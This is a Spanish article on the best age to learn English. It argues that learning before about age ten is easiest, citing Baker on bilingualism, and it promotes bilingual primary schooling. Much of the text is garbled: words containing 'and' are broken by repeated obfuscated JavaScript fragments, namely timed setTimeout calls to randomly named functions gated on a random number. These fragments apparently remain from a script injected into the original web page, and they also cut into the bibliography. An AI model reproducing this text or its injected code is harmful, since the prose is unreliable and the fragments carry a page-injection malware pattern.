¿CUÁL ES EL MEJOR MOMENTO PARA APRENDER INGLÉS?

Autora: Susana Zambrano Hipólito.

El inglés es hoy una herramienta fundamental que abarca campos tan diversos como el uso de las nuevas tecnologías, el éxito en el ámbito profesional o las telecomunicaciones. De ahí la importancia de aprender esta lengua extranjera de una manera eficiente. Este artículo trata de aclarar cuál es el mejor momento para aprender inglés, así cómo ciertas estrategias pedagógicas y metodológicas orientadas al correcto aprendizaje de la lengua extranjera.


La situación que vivimos en la sociedad actual hace que todos estemos concienciados de la importancia de una buena preparación y formación. Hoy en día el inglés es un requisito fundamental para obtener mejores oportunidades laborales que mejoren nuestra calidad de vida. Esta idea hace que muchos padres inicien a sus hijos en el aprendizaje del idioma desde la infancia, sin embargo, otros muchos prefieren esperar hasta que el niño haya consolidado su lengua materna. ¿Cuál es entonces el mejor momento para aprender inglés?

Muchos debates se han centrado en esta idea. La mayoría de las teorías concluyen que el mejor momento para empezar a aprender un idioma es antes de los 6 años, pues en este momento el niño tiene más facilidad para adquirir las nuevas estructuras y el vocabulario. Debemos tener en cuenta que desde el mismo momento del nacimiento, el cerebro del niño cómo un “ordenador perfecto” listo para funcionar. Sin embargo, ciertas conexiones y “cables” de ese ordenador sólo estarán operativos al 100% durante un periodo relativamente corto. Si no hacemos uso de esos dispositivos durante ese período, puede que más tarde no sean tan eficientes. Durante la infancia (entre los 5 y 10 años aproximadamente) el cerebro de un niño es doblemente más activo que el de un adulto. Es a esta edad cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el niño tiene una capacidad cerebral extraordinaria para similar y “absorber” nuevos códigos, por muy desconocidos que fueran hasta el momento, por no hablar de la facilidad y capacidad auditiva para aprender e imitar nuevos sonidos. Es como un libro en blanco que hemos de ir completandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando cada día, en un momento crucial de sus vidas donde tenemos mucha información para escribir. Si esperamos, puede que más tarde no sea tan fácil completar ese libro. Esto contrasta, en muchos casos con la opinión de los padres, que piensan que el niño puede sufrir algún tipo de alteración en el desarrollo lingüístico debido al aprendizaje simultáneo de dos lenguas. Según un estudio sobre el bilingüismo llevado a cabo por Baker (2001), la adquisición de dos lenguas simultaneas no conlleva problemas en el desarrollo cognitivo o lingüístico del niño.

Cada vez más, la población es más consciente de las ventajas que supone aprender una lengua desde la infancia, y es por ello que poco a poco se van desarrollandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando nuevos enfoques y metodologías para su aprendizaje. De hecho, el aprendizaje del inglés en la infancia tiene innumerables ventajas:

  • Permite la expansión general del conocimiento.
  • Mejora la habilidad comunicativa.
  • Estimula el desarrollo intelectual.
  • Facilita el uso de las nuevas tecnologías.
  • Mejora la accesibilidad laboral en la vida adulta.
  • Repercute en conocimiento de nuevas culturas, transmitiendo valores como la tolerancia y el respeto.

Se pone pues de manifiesto que el aprendizaje del inglés tiene muchos efectos positivos en el desarrollo intelectual del niño. Sin embargo, ¿qué ocurre con niños más mayores? ¿Y con personas adultas? La respuesta es clara: nunca es tarde para el aprendizaje. Una persona adulta no tendrá ningún problema en aprender un nuevo idioma. La diferencia es el tiempo empleado para asimilar los diferentes aspectos fonológicos, sintácticos, semánticos de la segunda lengua. Si consideramos de nuevo el ejemplo del ordenador, el hecho de que ciertos dispositivos no funcionen al 100% pasado el período de mayor efectividad, no significa que no puedan usarse nunca más. Simplemente, su rendimiento será menor, y por tanto, más lento. El cerebro del niño está pues mucho más capacitado para la asimilación de nuevos conceptos. Según Baker, si un adulto y un niño empezasen a la vez a aprender un idioma, el adulto manifestaría clara ventaja sobre el niño en las primeras fases del aprendizaje, sin embargo, esto sería una situación transitoria, pues pronto el niño empezaría a progresar a un ritmo mayor de lo que lo haría el adulto. La razón, cómo hemos dicho antes, es la facilidad que experimentamos en la infancia para asimilar una segunda lengua.

Teniendo en cuenta el “don” que poseen los niños para aprender inglés, se pone de manifiesto la necesidad de los centros educativos por aprovechar al máximo este período tan fructífero para el aprendizaje. Durante muchos años se ha asociado el aprendizaje del inglés a la memorización de largas listas de vocabulario y de reglas gramaticales que luego había que aplicar en ejercicios escritos que siempre se usaban como modelo. Poco o ningún interés se prestaba a la conversación, a la expresión escrita o al uso del inglés por “puro placer”, ya sea leyendo un libro o viendo una película en versión original. Afortunadamente, esta percepción está cambiandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, y se está considerandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a la educación primaria como la clave para llevar a cabo dicho cambio. Cada curso escolar, más centros manifiestan su interés por implantar secciones bilingües con el fin de iniciar a los alumnos en el dominio del inglés lo antes posible. No se trata simplemente de impartir más asignaturas en inglés o de tener más horas, sino de la calidad de la enseñanza. Es en esos años cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los niños están predispuestos a imitar los sonidos de la nueva lengua de manera casi automática y cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando las nuevas estructuras se asientan de manera permanente. Una vez en secundaria, el alumno simplemente debería limitarse a expandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andir el conocimiento de la lengua de manera progresiva hasta acabar la etapa con un nivel de inglés apto para la comunicación fluida. Estas ideas a veces no se corresponden con la realidad que hoy vivimos en nuestros centros, tanto de primaria como de secundaria. Inmersos en el siglo XXI, con las nuevas tecnologías en absoluta expansión y donde el inglés es un requisito fundamental para el éxito profesional, nuestro país está todavía en una posición muy desfavorecida en lo que al dominio del inglés se refiere. Entre muchos otros factores, influye el hecho de que todavía muchos profesores no nos concienciamos de que el inglés es un idioma, de que está ahí para escucharlo, para leerlo y sobre todo hablarlo. De manera progresiva, el profesorado de lengua extranjera está cambiandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando esta percepción y día a día se da más importancia a las destrezas idiomáticas que al mero aprendizaje de conceptos aislados. Esto, sumado a la legislación proveniente del Marco Europeo, hace que la enseñanza y el aprendizaje del inglés de una manera adecuada esté cada vez más cerca de convertirse en una realidad. No debemos olvidar, sin embargo, que la adquisición de una lengua no es sólo tarea del profesor. Si pretendemos hacer que el niño asimile la lengua como instrumento de comunicación, no debemos limitarla en ningún caso al uso en el aula, pues el niño asociaría el inglés a una materia meramente escolar que para nada sirve fuera de las aulas. Afortunadamente, disponemos en internet de innumerables recursos web que pueden ayudar a los padres en esta tarea, por no mencionar otros muchos recursos audiovisuales que van desde canciones o cuentos hasta programas infantiles de la televisión pública.

Desde estas líneas podemos hacernos una idea de la importancia que tiene el fomento del inglés y su correcto aprendizaje en los primeros años de escolarización. La infancia es un período clave para adquirir la lengua inglesa de manera natural y hacer uso de ella de forma efectiva y continuada, por lo que es tarea de docentes y padres involucrarnos en esta labor tan útil para el futuro de los niños.

Bibliografía:

  • Baker, C. Foundations of bilingual education andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and bilingualism.
  • Snew andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Hoefnagel. The critical Period for language acquisition: evidence from a second language.

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